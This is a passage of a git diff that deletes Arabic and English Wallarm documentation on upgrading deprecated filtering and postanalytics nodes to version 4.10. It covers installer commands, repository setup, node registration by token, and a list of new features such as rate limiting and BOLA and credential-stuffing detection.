الإصدار ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.aarch64-glibc.sh filtering - ``` - - تعرض متغير `WALLARM_LABELS` المجموعة التي ستتم إضافة العقدة إليها (يستخدم لتجميع العقد بشكل منطقي في واجهة المستخدم لوحدة تحكم Wallarm). - - === "Node token" - ```bash - # إذا كنت تستخدم الإصدار x86_64: - sudo sh wallarm-4.10.2.x86_64-glibc.sh filtering - - # إذا كنت تستخدم الإصدار ARM64: - sudo sh wallarm-4.10.2.aarch64-glibc.sh filtering - ``` - -### الخطوة 7: ترحيل القوائم الفرعية السماح والرفض من إصدار Wallarm node السابق إلى 4.10 (فقط إذا كانت العقدة قديمة 2.18 أو أقل) - -إذا كنت تقوم بترقية العقدة 2.18 أو أقل ، [قم بالترحيل](../migrate-ip-lists-to-node-3.md) تكوين القائمة الفرعية السماح والقائمة الفارعية الرفض من إصدار Wallarm node السابق إلى الإصدار الأخير. - -### الخطوة 8: نقل تكوين NGINX وبرنامج postanalytics من الجهاز القديم للعقدة إلى الجديد - -قم بنقل تكوين NGINX المتعلق بالعقدة وتكوين postanalytics من ملفات التكوين على الجهاز القديم إلى ملفات على الجهاز الجديد. يمكنك القيام بذلك عن طريق نسخ التوجيهات المطلوبة. - -**الملفات المصدر** - -على الجهاز القديم ، حسب نظام التشغيل وإصدار NGINX ، قد يكون موقع ملفات التكوين لـ NGINX في مجلدات مختلفة وله أسماء مختلفة. الأمثلة الأكثر شيوعًا هي التالية: - -* `/etc/nginx/conf.d/default.conf` مع إعدادات NGINX -* `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات مراقبة Wallarm node. الوصف التفصيلي متاح ضمن[الرابط][wallarm-status-instr] - -كما يتم عادة تكوين وحدة postanalytics (إعدادات قاعدة البيانات Tarantool) هنا: - -* `/etc/default/wallarm-tarantool` أو -* `/etc/sysconfig/wallarm-tarantool` - -**الملفات الهدف** - -بما أن المثبت الشامل يعمل مع مجموعات مختلفة من نظام التشغيل وإصدارات NGINX ، على الجهاز الجديد الخاص بك ، قد تكون [الملفات الهدف](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) بها أسماء مختلفة وتقع في مجلدات مختلفة. - -عند نقل التهيئة ، تحتاج إلى تنفيذ الخطوات المدرجة أدناه. - -#### إعادة تسمية التوجيهات المكررة لـ NGINX - -أعد تسمية التوجيهات NGINX التالية إذا تم تحديدها بشكل صريح في ملفات التكوين: - -* `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) -* `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) -* `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) -* `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) - -لقد قمنا فقط بتغيير أسماء التوجيهات ، ومع ذلك فإن المنطق الخاص بهم لا يزال هو نفسه. سيتم إزالة التوجيهات بأسماء سابقة قريبًا ، لذا يوصى بتغييرها قبل ذلك. - -#### تحديث متغيرات تسجيل العقدة - -تم تنفيذ التغييرات التالية على [متغيرات تسجيل العقدة](../../admin-en/configure-logging.md#filter-node-variables) في الإصدار الجديد للعقدة: - -* تمت إعادة تسمية المتغير `wallarm_request_time` إلى `wallarm_request_cpu_time`. - - نحن فقط قمنا بتغيير اسم المتغير ، ولكن معناه لا يزال هو نفسه. يتم دعم الاسم القديم مؤقتًا أيضًا ، ولكن يوصى بتغيير المتغير. -* تمت إضافة المتغير `wallarm_request_mono_time` ـ ضعه في تكوين تنسيق التسجيل إذا كنت بحاجة إلى معلومات التسجيل حول الوقت الكلي الذي يكون مجموع: - - * الوقت في الطابور - * الوقت بثواني قضاها المعالج في معالجة الطلب - -#### ضبط إعدادات وضع التصفية للعقدة Wallarm لتطبيق التغييرات المحدثة في الإصدارات الأحدث - -1. تأكد من أن السلوك المتوقع للإعدادات المدرجة أدناه يتوافق مع [المنطق المتغير لأوضاع التصفية `off` و `monitoring`](what-is-new.md#filtration-modes): - * [توجيه `wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [قاعدة التصفية العامة المكونة في وحدة تحكم Wallarm](../../admin-en/configure-wallarm-mode.md#setting-up-the-general-filtration-rule-in-wallarm-console) - * [قواعد التصفية المستهدفة لنقطة النهاية المكونة في وحدة تحكم Wallarm](../../admin-en/configure-wallarm-mode.md#setting-up-endpoint-targeted-filtration-rules-in-wallarm-console) -2. إذا لم يتوافق السلوك المتوقع مع المنطق المعدل للوضع التصفية ، فيرجى ضبط إعدادات وضع التصفية لتطبيق التغييرات المحدثة باستخدام [التعليمات](../../admin-en/configure-wallarm-mode.md). - -### الخطوة 9: إعداد نقل العقدة المنتهية الدعم إلى جهاز جديد - -إذا كانت العقدة المنتهية الدعم ومكون postanalytics مثبتين على نفس الخادم ، فيجب اتباع الإرشادات أدناه لترقية الكل. - - ستحتاج إلى تشغيل العقدة بالإصدار الأحدث باستخدام المثبت الشامل على جهاز نظيف ، واختبار أنه يعمل بشكل جيد وإيقاف السابق وتكوين حركة المرور للتدفق من خلال الجهاز الجديد بدلاً من الجهاز السابق. - -### الخطوة 10: انشاء رمز تعريف wallarm - ---8<-- "../include/waf/installation/all-in-one-token.md" - -### الخطوة 11: تنزيل مثبت Wallarm الشامل - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -### الخطوة 12: تشغيل مثبت wallarm الشامل - -استخدم هذا الرمز في حالة تشغيل العقدة وpostanalytics على الخادم نفسه - ---8<-- "../include/waf/installation/all-in-one-installer-run.md" - - ---- - -اذا كانت الوحدة النمطية للتصفية و الوحدة النمطية للبرنامج postanalytics مثبته على خوادم مختلفة فيجب اتباع الخطوات - -!!! تحذير "متسلسلة الخطوات لترقية وحدة التصفية و الوحدات النمطية للبرنامج postanalytics " - إذا كانت وحدة التصفية ووحدات postanalytics مثبته على خوادم مختلفة ثم يتطلب تحديث وحدة برنامج postanalytics قبل تحديث حزم وحده التصفية - - 1. ترقية وحدة postanalytics من الخلال [ الإرشادات الموجودة في الصفحة ](separate-postanalytics.md). - 1. ترقية وحدة التصفية: - - === "API token" -```bash -# If using the x86_64 version: -sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.x86_64-glibc.sh filtering - -# If using the ARM64 version: -sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.aarch64-glibc.sh filtering -``` - -المتغير `WALLARM_LABELS` هو لتحديد المجموعة التي ستتم اظافة العقده اليها (يستخدم لتجميع العقد في واجهة المستخدم لوحده التحكم Wallarm). - - === "Node token" -```bash -# If using the x86_64 version: -sudo sh wallarm-4.10.2.x86_64-glibc.sh filtering - -# If using the ARM64 version: -sudo sh wallarm-4.10.2.aarch64-glibc.sh filtering -``` -### الخطوة 13: نقل قوائم الأرقام الفرعية المسموح بها و المرفوضة من الإصدار السابق للعقدة الى 4.10 ( إذا كان الإصدار الاقدم من العقدة هو 2.18 أو أقل ) - -إذا كنت تقوم بترقية العقدة 2.18 أو أقل ، قم بالترحيل (../migrate-ip-lists-to-node-3.md) الإعدادت القائمة الفرعية المدرجة في قائمة السماح و القائمة الفرعية المدرجة في الرفض من أصدار العقدة الاقدم إلى أحدث إصدار. - -### الخطوة 14: نقل التكوينات الموجودة على العقدة القديمة على الماكينة القديمة الى الماكينة الجديدة - -قم بنقل تكوينات NGINX االمتعلقة بوحده التصفية وتكوينات postanalytics من ملفات التكوين القديمة الموجوده على الجوال القديم الى الملفات الموجوده على الجهاز الجديد . يمكنك القيام بذلك عن طريق نسخ التعليمات المطلوبة. - -**الملفات المصدر** - -على الجهاز القديم ، حسب نظام التشغيل والإصدار NGINX ، قد يكون موقع ملفات تكوين NGINX في أماكن مختلفة ولها أسماء مختلفة. والأكثر شيوعًا هي: - -* `/etc/nginx/conf.d/default.conf` مع إعدادات NGINX -* `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات رصد وحده Wallarm. و الوصف التفصيلية متوفر في الخلال [الرابط] [wallarm-status-instr] - -تكوين وحدة postanalyticst بشكل عام يتم على النظام (اعدادات قاعدة بيانات Tarantool ): - -* `/etc/default/wallarm-tarantool` أو -* `/etc/sysconfig/wallarm-tarantool` - -**الملفات الهدف** - -بما أن المثبت الشامل يعمل مع مجموعة مختلفة من أنظمة التشغيل وإصدارا diff --git a/docs/latest-ar/updating-migrating/older-versions/separate-postanalytics.md b/docs/latest-ar/updating-migrating/older-versions/separate-postanalytics.md deleted file mode 100644 index 0a69e11f51..0000000000 --- a/docs/latest-ar/updating-migrating/older-versions/separate-postanalytics.md +++ /dev/null @@ -1,224 +0,0 @@ -[docs-module-update]: nginx-modules.md -[img-wl-console-users]: ../../images/check-users.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[img-attacks-in-interface]: ../../images/admin-guides/test-attacks-quickstart.png -[nginx-custom]: ../../custom/custom-nginx-version.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[tarantool-status]: ../../images/tarantool-status.png -[statistics-service-all-parameters]: ../../admin-en/configure-statistics-service.md -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md - -# ترقية وحدة postanalytics المنتهية الصلاحية - -توصف هذه التعليمات الخطوات اللازمة لترقية وحدة postanalytics المنتهية الصلاحية (الإصدار 3.6 وأقل) المثبتة على خادم منفصل. يجب ترقية وحدة postanalytics قبل [ترقية وحدات NGINX لـWallarm][docs-module-update]. - ---8<-- "../include/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -## طرق الترقية - ---8<-- "../include/waf/installation/upgrade-methods.md" - -## الترقية باستخدام المثبت الشامل - -استخدم الإجراء أدناه لترقية وحدة postanalytics المنتهية الصلاحية (الإصدار 3.6 وأقل) المثبتة على خادم منفصل إلى الإصدار 4.10 باستخدام [المثبت الشامل](../../installation/nginx/all-in-one.md). - -### متطلبات الترقية باستخدام المثبت الشامل - ---8<-- "../include/waf/installation/all-in-one-upgrade-requirements.md" - -### الخطوة 1: إعداد الجهاز المستقيم - ---8<-- "../include/waf/installation/all-in-one-clean-machine.md" - -### الخطوة 2: إعداد الرمز المميز لـWallarm - ---8<-- "../include/waf/installation/all-in-one-token.md" - -### الخطوة 3: تحميل مثبت Wallarm الشامل - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -### الخطوة 4: تشغيل مثبت Wallarm الشامل لتثبيت postanalytics - ---8<-- "../include/waf/installation/all-in-one-postanalytics.md" - -### الخطوة 5: تحديث منفذ API - ---8<-- "../include/waf/upgrade/api-port-443.md" - -### الخطوة 6: ترقية وحدة NGINX-Wallarm على خادم منفصل - -بمجرد تثبيت وحدة postanalytics على الخادم المستقل، [قم بترقية وحدتها المتصلة NGINX-Wallarm](nginx-modules.md) التي تعمل على خادم مختلف. - -!!! info "جمع طرق الترقية" - يمكن استخدام الطرق اليدوية والآلية لترقية وحدة NGINX-Wallarm المتصلة. - -### الخطوة 7: إعادة توصيل وحدة NGINX-Wallarm بوحدة postanalytics - ---8<-- "../include/waf/installation/all-in-one-postanalytics-reconnect-5.0.md" - -### الخطوة 8: تحقق من تفاعل وحدات NGINX‑Wallarm وpostanalytics المستقلة - ---8<-- "../include/waf/installation/all-in-one-postanalytics-check.md" - -### الخطوة 9: إزالة وحدة postanalytics القديمة - ---8<-- "../include/waf/installation/all-in-one-postanalytics-remove-old.md" - -## الترقية اليدوية - -استخدم الإجراء أدناه لترقية وحدة postanalytics المنتهية الصلاحية (الإصدار 3.6 وأقل) المثبتة على خادم منفصل إلى الإصدار 4.8 يدويًا. - -### متطلبات - ---8<-- "../include-ar/waf/installation/basic-reqs-for-upgrades.md" - -### الخطوة 1: تحديث منفذ API - ---8<-- "../include/waf/upgrade/api-port-443.md" - -### الخطوة 2: إضافة مستودع Wallarm الجديد - -قم بحذف عنوان مستودع Wallarm السابق وأضف مستودعًا بحزمة نسخة العقدة Wallarm الجديدة. يرجى استخدام الأوامر المناسبة للمنصة المتوافقة. - -**CentOS و Amazon Linux 2.0.2021x وأقل** - -=== "CentOS 7 و Amazon Linux 2.0.2021x وأقل" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "CentOS 8" - !!! warning "تم إيقاف الدعم لـ CentOS 8.x" - تم إيقاف الدعم لـ CentOS 8.x [تم إيقاف الدعم](https://www.centos.org/centos-linux-eol/). يمكنك تثبيت عقدة Wallarm على نظام التشغيل AlmaLinux, Rocky Linux, Oracle Linux 8.x, أو RHEL 8.x بدلاً من ذلك. - - * [تعليمات التثبيت للنسخة `الثابتة` من NGINX](../../installation/nginx/dynamic-module.md) - * [تعليمات التثبيت للنسخة NGINX من مستودعات CentOS/Debian](../../installation/nginx/dynamic-module-from-distr.md) - * [تعليمات التثبيت لإصدار NGINX Plus](../../installation/nginx-plus.md) -=== "AlmaLinux, Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -**Debian و Ubuntu** - -1. افتح الملف الذي يحتوي على عنوان المستودع Wallarm في المحرر النصي المثبت. في هذه التعليمات، سيتم استخدام **vim**. - - ```bash - sudo vim /etc/apt/sources.list.d/wallarm.list - ``` -2. قم بتعليق العنوان السابق للمستودع أو حذفه. -3. أضف عنوان مستودع جديد: - - === "Debian 10.x (buster)" - !!! warning "غير مدعوم من قبل النسخة الثابتة من NGINX و NGINX Plus" - النسخ الرسمية من NGINX (ثابتة و Plus) و، كنتيجة لذلك، لا يمكن تثبيت وحدة Wallarm 4.4 وما فوق على Debian 10.x (buster). يرجى استخدام هذا النظام التشغيل فقط في حالة [تثبيت NGINX من مستودعات Debian/CentOS](../../installation/nginx/dynamic-module-from-distr.md). - - ```bash - deb https://repo.wallarm.com/debian/wallarm-node buster/4.8/ - ``` - === "Debian 11.x (bullseye)" - ```bash - deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/ - ``` - === "Ubuntu 18.04 LTS (bionic)" - ```bash - deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/ - ``` - === "Ubuntu 20.04 LTS (focal)" - ```bash - deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/ - ``` - -### الخطوة 3: ترقية حزم Tarantool - -=== "Debian" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include/waf/upgrade/details-about-dist-upgrade.md" -=== "Ubuntu" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include/waf/upgrade/details-about-dist-upgrade.md" -=== "CentOS أو Amazon Linux 2.0.2021x وأقل" - ```bash - sudo yum update - ``` -=== "AlmaLinux, Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum update - ``` -=== "RHEL 8.x" - ```bash - sudo yum update - ``` - -### الخطوة 4: تحديث نوع العقدة - -تحتوي العقدة postanalytics المنشورة 3.6 أو أقل على النوع المهجور **العادي** الذي [تم الآن استبداله بنوع **عقدة Wallarm** الجديد](what-is-new.md#unified-registration-of-nodes-in-the-wallarm-cloud-by-tokens). - -يوصى بتثبيت النوع الجديد بدلاً من النوع المهجور أثناء الترحيل إلى الإصدار 4.8. سيتم إزالة نوع العقدة العادي في الإصدارات المستقبلية، يرجى الترحيل قبل ذلك. - -لاستبدال العقدة postanalytics العادية بعقدة Wallarm: - -1. افتح Wallarm Console → **عقد** في [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [السحابة الأوروبية](https://my.wallarm.com/nodes) وأنشئ عقدة من نوع **عقدة Wallarm**. - - ![إنشاء عقدة Wallarm][img-create-wallarm-node] -1. انسخ الرمز المميز المُنشأ. -1. نفذ البرنامج النصي `register-node` لتشغيل **عقدة Wallarm**: - - === "السحابة الأمريكية" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com --force --no-sync --no-sync-acl - ``` - === "السحابة الأوروبية" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --force --no-sync --no-sync-acl - ``` - - * `` هو القيمة المنسوخة لرمز العقدة أو رمز API بدور `التنفيذ`. - * الخيار `--force` يجبر على إعادة كتابة بيانات الاعتماد للوصول إلى Wallarm Cloud المحددة في ملف `/etc/wallarm/node.yaml`. - -### الخطوة 5: إعادة تشغيل وحدة postanalytics - -=== "Debian" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "Ubuntu" - ```bash - sudo service wallarm-tarantool restart - ``` -=== "CentOS 7.x أو Amazon Linux 2.0.2021x وأقل" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "AlmaLinux, Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -[ترقية وحدات NGINX لـWallarm][docs-module-update] \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/older-versions/what-is-new.md b/docs/latest-ar/updating-migrating/older-versions/what-is-new.md deleted file mode 100644 index bb89e7d19a..0000000000 --- a/docs/latest-ar/updating-migrating/older-versions/what-is-new.md +++ /dev/null @@ -1,462 +0,0 @@ -# What is new in Wallarm node (if upgrading an EOL node) - -This page lists the changes available when upgrading the node of the deprecated version (3.6 and lower) up to version 4.10. Listed changes are available for both the regular (client) and multi-tenant Wallarm nodes. - -!!! warning "Wallarm nodes 3.6 and lower are deprecated" - Wallarm nodes 3.6 and lower are recommended to be upgraded since they are [deprecated](../versioning-policy.md#version-list). - - Node configuration and traffic filtration have been significantly simplified in the Wallarm node of version 4.x. Some settings of node 4.x are **incompatible** with the nodes of older versions. Before upgrading the modules, please carefully review the list of changes and [general recommendations](../general-recommendations.md). - -## All-in-one installer - -Now, when installing and upgrading Wallarm node as a dynamic module for NGINX in various environments, you can use the **all-in-one installer** designed to streamline and standardize the process of installation. This installer automatically identifies your operating system’s and NGINX versions, and install all the necessary dependencies. - -The installer simplifies the process by automatically performing the following actions: - -1. Checking your OS and NGINX version. -1. Adding Wallarm repositories for the detected OS and NGINX version. -1. Installing Wallarm packages from these repositories. -1. Connecting the installed Wallarm module to your NGINX. -1. Connecting the filtering node to Wallarm Cloud using the provided token. - -[See details on how to deploy the node with all-in-one installer →](../../installation/nginx/all-in-one.md) - -## Breaking changes due to the deleted metrics - -Starting from version 4.0, the Wallarm node does not collect the following collectd metrics: - -* `wallarm_nginx/gauge-requests` - you can use the [`wallarm_nginx/gauge-abnormal`](../../admin-en/monitoring/available-metrics.md#number-of-requests) metric instead -* `wallarm_nginx/gauge-attacks` -* `wallarm_nginx/gauge-blocked` -* `wallarm_nginx/gauge-time_detect` -* `wallarm_nginx/derive-requests` -* `wallarm_nginx/derive-attacks` -* `wallarm_nginx/derive-blocked` -* `wallarm_nginx/derive-abnormal` -* `wallarm_nginx/derive-requests_lost` -* `wallarm_nginx/derive-tnt_errors` -* `wallarm_nginx/derive-api_errors` -* `wallarm_nginx/derive-segfaults` -* `wallarm_nginx/derive-memfaults` -* `wallarm_nginx/derive-softmemfaults` -* `wallarm_nginx/derive-time_detect` - -## Rate limits - -The lack of proper rate limiting has been a significant problem for API security, as attackers can launch high-volume requests causing a denial of service (DoS) or overload the system, which hurts legitimate users. - -With Wallarm's rate limiting feature supported since Wallarm node 4.6, security teams can effectively manage the service's load and prevent false alarms, ensuring that the service remains available and secure for legitimate users. This feature offers various connection limits based on request and session parameters, including traditional IP-based rate limiting, JSON fields, base64 encoded data, cookies, XML fields, and more. - -For example, you can limit API connections for each user, preventing them from making thousands of requests per minute. This would put a heavy load on your servers and could cause the service to crash. By implementing rate limiting, you can protect your servers from overload and ensure that all users have fair access to the API. - -You can configure rate limits easily in the Wallarm Console UI → **Rules WAF** → **Set rate limit** by specifying the rate limit scope, rate, burst, delay, and response code for your particular use case. - -[Guide on rate limit configuration →](../../user-guides/rules/rate-limiting.md) - -Although the rate limiting rule is the recommended method for setting up the feature, you can also configure rate limits using the new NGINX directives: - -* [`wallarm_rate_limit`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit) -* [`wallarm_rate_limit_enabled`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_enabled) -* [`wallarm_rate_limit_log_level`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_log_level) -* [`wallarm_rate_limit_status_code`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_status_code) -* [`wallarm_rate_limit_shm_size`](../../admin-en/configure-parameters-en.md#wallarm_rate_limit_shm_size) - -## Credential stuffing detection - -Beginning with release 4.10, Wallarm introduces real-time detection and notifications for credential stuffing attempts. Credential stuffing, the automated submission of stolen or weak username/email and password pairs into website login forms to illegitimately access user accounts, is now closely monitored. This feature allows you to identify accounts with compromised credentials and take action to secure them, such as notifying account owners and temporarily suspending account access. - -[Learn how to configure Credential Stuffing Detection](../../about-wallarm/credential-stuffing.md) - -![Attacks - credential stuffing](../../images/about-wallarm-waf/credential-stuffing/credential-stuffing-attacks.png) - -!!! info "Selected artifacts supporting credential stuffing detection" - A limited selection of artifacts, such as the all-in-one installer, NGINX Ingress Controller, NGINX-based Docker image, and cloud images (AMI, GCP Image), now support the newly introduced credential stuffing detection feature. - - - -## Detection of the new attack types - -Wallarm detects new attack types: - -* [Broken Object Level Authorization](https://github.com/OWASP/API-Security/blob/master/editions/2019/en/0xa1-broken-object-level-authorization.md) (BOLA), also known as [Insecure Direct Object References](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) (or IDOR), became one of the most common API vulnerabilities. When an application includes an IDOR / BOLA vulnerability, it has a strong probability of exposing sensitive information or data to attackers. All the attackers need to do is exchange the ID of their own resource in the API call with an ID of a resource belonging to another user. The absence of proper authorization checks enables attackers to access the specified resource. Thus, every API endpoint that receives an ID of an object and performs any type of action on the object can be an attack target. - - To prevent exploitation of this vulnerability, Wallarm node 4.2 and above contain a [new trigger](../../admin-en/configuration-guides/protecting-against-bola.md) which you can use to protect your endpoints from BOLA attacks. The trigger monitors the number of requests to a specified endpoint and creates a BOLA attack event when thresholds from the trigger are exceeded. -* [Mass Assignment](../../attacks-vulns-list.md#mass-assignment) - - During a Mass Assignment attack, attackers try to bind HTTP request parameters into program code variables or objects. If an API is vulnerable and allows binding, attackers may change sensitive object properties that are not intended to be exposed, which could lead to privilege escalation, bypassing security mechanisms, and more. -* [SSRF](../../attacks-vulns-list.md#serverside-request-forgery-ssrf) - - A successful SSRF attack may allow an attacker to make requests on behalf of the attacked web server; this potentially leads to revealing the web application's network ports in use, scanning the internal networks, and bypassing authorization. - -## Checking JSON Web Token strength - -[JSON Web Token (JWT)](https://jwt.io/) is a popular authentication standard used to exchange data between resources like APIs securely. JWT compromisation is a common aim of attackers as breaking authentication mechanisms provides them full access to web applications and APIs. The weaker JWTs, the higher chance for it to be compromised. - -Starting from version 4.4, you can enable Wallarm to [detect the following JWT weaknesses](../../about-wallarm/detecting-vulnerabilities.md#weak-jwts-detection): - -* Unencrypted JWTs -* JWTs signed using compromised secret keys - -## Checking JSON Web Tokens for attacks - -JSON Web Token (JWT) is one of the most popular authentication methods. This makes it a favorite tool to perform attacks (for example SQLi or RCE) that are very difficult to find because the data in the JWT is encoded and it can be located anywhere in the request. - -Wallarm node 4.2 and above find the JWT anywhere in the request, [decodes](../../user-guides/rules/request-processing.md#jwt) it and blocks (in the appropriate [filtration mode](../../admin-en/configure-wallarm-mode.md)) any attack attempts through this authentication method. - -## Supported installation options - -* Wallarm Ingress controller based on the latest version of Community Ingress NGINX Controller, 1.9.5. - - [Instructions on migrating to the Wallarm Ingress controller →](ingress-controller.md) -* Added support for AlmaLinux, Rocky Linux and Oracle Linux 8.x instead of the [deprecated](https://www.centos.org/centos-linux-eol/) CentOS 8.x. - - Wallarm node packages for the alternative operating systems will be stored in the CentOS 8.x repository. -* Added support for Debian 11 Bullseye -* Added support for Ubuntu 22.04 LTS (jammy) -* Dropped support for CentOS 6.x (CloudLinux 6.x) -* Dropped support for Debian 9.x -* Dropped support for Debian 10.x for Wallarm to be installed as the module for either NGINX stable or NGINX Plus -* Dropped support for the operating system Ubuntu 16.04 LTS (xenial) -* Version of Envoy used in [Wallarm Envoy-based Docker image](../../admin-en/installation-guides/envoy/envoy-docker.md) has been increased to [1.18.4](https://www.envoyproxy.io/docs/envoy/latest/version_history/v1.18.4) - -[See the full list of supported installation options →](../../installation/supported-deployment-options.md) - -## New method for the serverless Wallarm node deployment - -The new deployment method lets you configure the Wallarm CDN node outside your infrastructure in 15 minutes. You need to just point to the domain to be protected and add the Wallarm CNAME record to the domain's DNS records. - -[Instructions on the CDN node deployment](../../installation/cdn-node.md) - -## System requirements for the filtering node installation - -* Wallarm node instances now require access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers. - - --8<-- "../include/wallarm-cloud-ips.md" -* The filtering node now uploads data to the Cloud using `us1.api.wallarm.com:443` (US Cloud) and `api.wallarm.com:443` (EU Cloud) instead of `us1.api.wallarm.com:444` and `api.wallarm.com:444`. - - If your server with the deployed node has a limited access to the external resources and the access is granted to each resource separately, after upgrade to version 4.x the synchronization between the filtering node and the Cloud will stop. The upgraded node needs to be granted access to the API endpoint with the new port. - -## Unified registration of nodes in the Wallarm Cloud by tokens - -With the new release of Wallarm node, email-password based registration of Wallarm nodes in the Cloud has been removed. It is now mandatory to switch to the new token-based node registration method to continue with Wallarm node 4.10. - -The new release enables you to register the Wallarm node in the Wallarm Cloud by the **token** on [any supported platform](../../installation/supported-deployment-options.md), which ensures a more secure and faster connection to the Wallarm Cloud as follows: - -* Dedicated user accounts of the **Deploy** role allowing only to install the node are no longer required. -* Users' data remains securely stored in the Wallarm Cloud. -* Two-factor authentication enabled for the user accounts does not prevent nodes from being registered in the Wallarm Cloud. -* The initial traffic processing and request postanalytics modules deployed to separate servers can be registered in the Cloud by one node token. - -Changes in node registration methods result in some updates in node types: - -* The node supporting the unified registration by token has the **Wallarm node** type. The script to be run on the server to register the node is named `register-node`. - - Previously, the Wallarm node was named **cloud node**. It also supported registration by the token but with the different script named `addcloudnode`. - - The cloud node is not required to be migrated to the new node type. -* The **regular node** supporting the registration by "email-password" passed to the `addnode` script is deprecated. - - Starting from version 4.0, registration of the node deployed as the NGINX, NGINX Plus module or the Docker container looks as follows: - - 1. Create the **Wallarm node** in Wallarm Console and copy the generated token. - 1. Run the `register-node` script with the node token passed or run the Docker container with the `WALLARM_API_TOKEN` variable defined. - - !!! info "Regular node support" - The regular node type is deprecated in release 4.x and will be removed in future releases. - - It is recommended to replace the regular node with the **Wallarm node** before the regular type is removed. You will find the appropriate instructions in the node upgrade guides. - -## Terraform module to deploy Wallarm on AWS - -Starting from release 4.0, you can easily deploy Wallarm to [AWS](https://aws.amazon.com/) from the Infrastructure as Code (IaC)-based environment using the [Wallarm Terraform module](https://registry.terraform.io/modules/wallarm/wallarm/aws/). - -The Wallarm Terraform module is the scalable solution meeting the best industry standards of security and failover ensuring. During its deployment, you can choose either the **proxy** or **mirror** deployment option based on your requirements for the traffic flow. - -We have also prepared the usage examples for both deployment options involving basic deployment configurations as well as advanced ones compatible with such solutions as AWS VPC Traffic Mirroring. - -[Documentation on the Wallarm Terraform module for AWS](../../installation/cloud-platforms/aws/terraform-module/overview.md) - -## Collecting statistics on blocked requests from denylisted sources - -Starting from the release 4.8, the Wallarm NGINX‑based filtering nodes now collect statistics on requests that have been blocked when their source is found in the denylist, enhancing your ability to evaluate attack strength. This includes access to the blocked request statistics and their samples, helping you minimize unnoticed activity. You can find this data in the Wallarm Console UI's **Attacks** section. - -When using automatic IP blocking (e.g., with the brute force trigger configured), now you can analyze both the initial triggering requests and the samples of subsequent blocked requests. For requests blocked due to manual denylisting of their sources, the new functionality enhances visibility into blocked source actions. - -We have introduced new [search tags and filters](../../user-guides/search-and-filters/use-search.md#search-by-attack-type) within the **Attacks** section to effortlessly access the newly introduced data: - -* Utilize the `blocked_source` search to identify requests that were blocked due to manual denylisting of IP addresses, subnets, countries, VPNs, and more. -* Employ the `multiple_payloads` search to pinpoint requests blocked by the **Number of malicious payloads** trigger. This trigger is designed to denylist sources that originate malicious requests containing multiple payloads, a common characteristic of multi-attack perpetrators. -* Additionally, the `api_abuse`, `brute`, `dirbust`, and `bola` search tags now encompass requests whose sources were automatically added to the denylist by the relevant Wallarm triggers for their respective attack types. - -This change introduces the new configuration parameters which by default are set to `on` to enable the functionality but can be switched to `off` to disable it: - -* The [`wallarm_acl_export_enable`](../../admin-en/configure-parameters-en.md#wallarm_acl_export_enable) NGINX directive. -* The [`controller.config.wallarm-acl-export-enable`](../../admin-en/configure-kubernetes-en.md#global-controller-settings) value for the NGINX Ingress controller chart. -* The [`config.wallarm.aclExportEnable`](../../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md#configwallarmaclexportenable) chart value and 